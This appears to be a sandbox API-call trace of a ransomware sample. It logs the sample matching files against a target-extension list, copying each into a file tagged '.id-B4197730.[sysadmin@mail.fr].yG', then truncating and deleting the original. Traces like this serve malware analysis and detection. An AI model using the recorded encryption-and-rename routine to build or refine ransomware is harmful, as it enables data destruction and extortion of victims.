	[0041.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.993] lstrlenW (lpString=".zip") returned 4
	[0041.993] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0041.993] lstrlenW (lpString=".rar") returned 4
	[0041.993] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0041.993] lstrlenW (lpString=".bz2") returned 4
	[0041.993] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0041.993] lstrlenW (lpString=".7z") returned 3
	[0041.994] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.994] lstrlenW (lpString=".dbf") returned 4
	[0041.994] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.994] lstrlenW (lpString=".1cd") returned 4
	[0041.994] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.994] lstrlenW (lpString=".jpg") returned 4
	[0041.994] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.994] lstrlenW (lpString=".doc") returned 4
	[0041.994] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0041.994] lstrlenW (lpString=".docx") returned 5
	[0041.994] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0041.994] lstrlenW (lpString=".pdf") returned 4
	[0041.994] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0041.994] lstrlenW (lpString=".xls") returned 4
	[0041.994] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0041.994] lstrlenW (lpString=".xlsx") returned 5
	[0041.994] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0041.994] lstrlenW (lpString=".ppt") returned 4
	[0041.994] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.994] lstrlenW (lpString=".zip") returned 4
	[0041.994] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0041.994] lstrlenW (lpString=".rar") returned 4
	[0041.994] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0041.994] lstrlenW (lpString=".bz2") returned 4
	[0041.994] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0041.994] lstrlenW (lpString=".7z") returned 3
	[0041.994] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0041.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.994] lstrlenW (lpString=".dbf") returned 4
	[0041.994] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.995] lstrlenW (lpString=".1cd") returned 4
	[0041.995] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0041.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35
	[0041.995] lstrlenW (lpString=".jpg") returned 4
	[0041.995] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0041.995] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0041.995] lstrlenW (lpString="eula.rtf") returned 8
	[0041.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0041.995] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=3419) returned 1
	[0041.995] CloseHandle (hObject=0x2f4) returned 1
	[0041.995] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80
	[0041.995] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0041.995] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.995] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0041.996] GetLastError () returned 0x0
	[0041.996] ReadFile (in: hFile=0x2f4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xd5b, lpOverlapped=0x0) returned 1
	[0042.030] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xd60, lpOverlapped=0x0) returned 1
	[0042.031] ReadFile (in: hFile=0x2f4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.031] WriteFile (in: hFile=0x2f0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.031] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.031] CloseHandle (hObject=0x2f0) returned 1
	[0042.032] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.032] SetEndOfFile (hFile=0x2f4) returned 1
	[0042.033] CloseHandle (hObject=0x2f4) returned 1
	[0042.033] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.033] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1
	[0042.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.033] lstrlenW (lpString=".doc") returned 4
	[0042.033] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.033] lstrlenW (lpString=".docx") returned 5
	[0042.033] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.033] lstrlenW (lpString=".pdf") returned 4
	[0042.033] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.033] lstrlenW (lpString=".xls") returned 4
	[0042.033] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.033] lstrlenW (lpString=".xlsx") returned 5
	[0042.033] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.033] lstrlenW (lpString=".ppt") returned 4
	[0042.033] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.033] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.033] lstrlenW (lpString=".zip") returned 4
	[0042.033] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.034] lstrlenW (lpString=".rar") returned 4
	[0042.034] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString=".bz2") returned 4
	[0042.034] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString=".7z") returned 3
	[0042.034] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.034] lstrlenW (lpString=".dbf") returned 4
	[0042.034] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.034] lstrlenW (lpString=".1cd") returned 4
	[0042.034] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.034] lstrlenW (lpString=".jpg") returned 4
	[0042.034] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.034] lstrlenW (lpString=".doc") returned 4
	[0042.034] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString=".docx") returned 5
	[0042.034] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.034] lstrlenW (lpString=".pdf") returned 4
	[0042.034] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString=".xls") returned 4
	[0042.034] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.034] lstrlenW (lpString=".xlsx") returned 5
	[0042.034] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.034] lstrlenW (lpString=".ppt") returned 4
	[0042.034] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.034] lstrlenW (lpString=".zip") returned 4
	[0042.034] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.034] lstrlenW (lpString=".rar") returned 4
	[0042.034] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString=".bz2") returned 4
	[0042.034] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.034] lstrlenW (lpString=".7z") returned 3
	[0042.034] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.035] lstrlenW (lpString=".dbf") returned 4
	[0042.035] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.035] lstrlenW (lpString=".1cd") returned 4
	[0042.035] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35
	[0042.035] lstrlenW (lpString=".jpg") returned 4
	[0042.035] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.035] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0042.035] lstrlenW (lpString="eula.rtf") returned 8
	[0042.035] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.040] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=8876) returned 1
	[0042.040] CloseHandle (hObject=0x2f0) returned 1
	[0042.040] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80
	[0042.040] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0042.040] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.040] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0042.040] GetLastError () returned 0x0
	[0042.040] ReadFile (in: hFile=0x2f0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x22ac, lpOverlapped=0x0) returned 1
	[0042.265] WriteFile (in: hFile=0x2e4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x22b0, lpOverlapped=0x0) returned 1
	[0042.266] ReadFile (in: hFile=0x2f0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0042.266] WriteFile (in: hFile=0x2e4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0042.266] SetEndOfFile (hFile=0x2e4) returned 1
	[0042.267] CloseHandle (hObject=0x2e4) returned 1
	[0042.267] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.267] SetEndOfFile (hFile=0x2f0) returned 1
	[0042.268] CloseHandle (hObject=0x2f0) returned 1
	[0042.268] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0042.883] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1
	[0042.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.883] lstrlenW (lpString=".doc") returned 4
	[0042.883] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.883] lstrlenW (lpString=".docx") returned 5
	[0042.883] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.883] lstrlenW (lpString=".pdf") returned 4
	[0042.883] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.883] lstrlenW (lpString=".xls") returned 4
	[0042.883] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.883] lstrlenW (lpString=".xlsx") returned 5
	[0042.883] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.883] lstrlenW (lpString=".ppt") returned 4
	[0042.883] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.883] lstrlenW (lpString=".zip") returned 4
	[0042.883] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.883] lstrlenW (lpString=".rar") returned 4
	[0042.883] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.883] lstrlenW (lpString=".bz2") returned 4
	[0042.883] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.883] lstrlenW (lpString=".7z") returned 3
	[0042.884] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.884] lstrlenW (lpString=".dbf") returned 4
	[0042.884] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.884] lstrlenW (lpString=".1cd") returned 4
	[0042.884] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.884] lstrlenW (lpString=".jpg") returned 4
	[0042.884] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.884] lstrlenW (lpString=".doc") returned 4
	[0042.884] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString=".docx") returned 5
	[0042.884] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0042.884] lstrlenW (lpString=".pdf") returned 4
	[0042.884] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString=".xls") returned 4
	[0042.884] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0042.884] lstrlenW (lpString=".xlsx") returned 5
	[0042.884] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0042.884] lstrlenW (lpString=".ppt") returned 4
	[0042.884] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.884] lstrlenW (lpString=".zip") returned 4
	[0042.884] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0042.884] lstrlenW (lpString=".rar") returned 4
	[0042.884] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString=".bz2") returned 4
	[0042.884] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString=".7z") returned 3
	[0042.884] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0042.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.884] lstrlenW (lpString=".dbf") returned 4
	[0042.884] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0042.884] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.884] lstrlenW (lpString=".1cd") returned 4
	[0042.885] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0042.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0042.885] lstrlenW (lpString=".jpg") returned 4
	[0042.885] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0042.885] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0042.885] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0042.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0042.885] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=68226) returned 1
	[0042.885] CloseHandle (hObject=0x35c) returned 1
	[0042.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80
	[0042.885] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0042.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0042.885] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.886] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0042.886] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0042.886] GetLastError () returned 0x0
	[0042.886] ReadFile (in: hFile=0x35c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x10a82, lpOverlapped=0x0) returned 1
	[0043.030] WriteFile (in: hFile=0x360, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x10a90, lpOverlapped=0x0) returned 1
	[0043.032] ReadFile (in: hFile=0x35c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.032] WriteFile (in: hFile=0x360, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0043.032] SetEndOfFile (hFile=0x360) returned 1
	[0043.032] CloseHandle (hObject=0x360) returned 1
	[0043.034] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.034] SetEndOfFile (hFile=0x35c) returned 1
	[0043.035] CloseHandle (hObject=0x35c) returned 1
	[0043.035] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.035] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1
	[0043.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.035] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.035] lstrlenW (lpString=".doc") returned 4
	[0043.035] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.035] lstrlenW (lpString=".docx") returned 5
	[0043.035] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.036] lstrlenW (lpString=".pdf") returned 4
	[0043.036] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString=".xls") returned 4
	[0043.036] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString=".xlsx") returned 5
	[0043.036] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.036] lstrlenW (lpString=".ppt") returned 4
	[0043.036] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.036] lstrlenW (lpString=".zip") returned 4
	[0043.036] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.036] lstrlenW (lpString=".rar") returned 4
	[0043.036] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString=".bz2") returned 4
	[0043.036] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString=".7z") returned 3
	[0043.036] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.036] lstrlenW (lpString=".dbf") returned 4
	[0043.036] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.036] lstrlenW (lpString=".1cd") returned 4
	[0043.036] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.036] lstrlenW (lpString=".jpg") returned 4
	[0043.036] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.036] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.036] lstrlenW (lpString=".doc") returned 4
	[0043.036] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString=".docx") returned 5
	[0043.036] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.036] lstrlenW (lpString=".pdf") returned 4
	[0043.036] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString=".xls") returned 4
	[0043.036] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.036] lstrlenW (lpString=".xlsx") returned 5
	[0043.037] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.037] lstrlenW (lpString=".ppt") returned 4
	[0043.037] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.037] lstrlenW (lpString=".zip") returned 4
	[0043.037] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
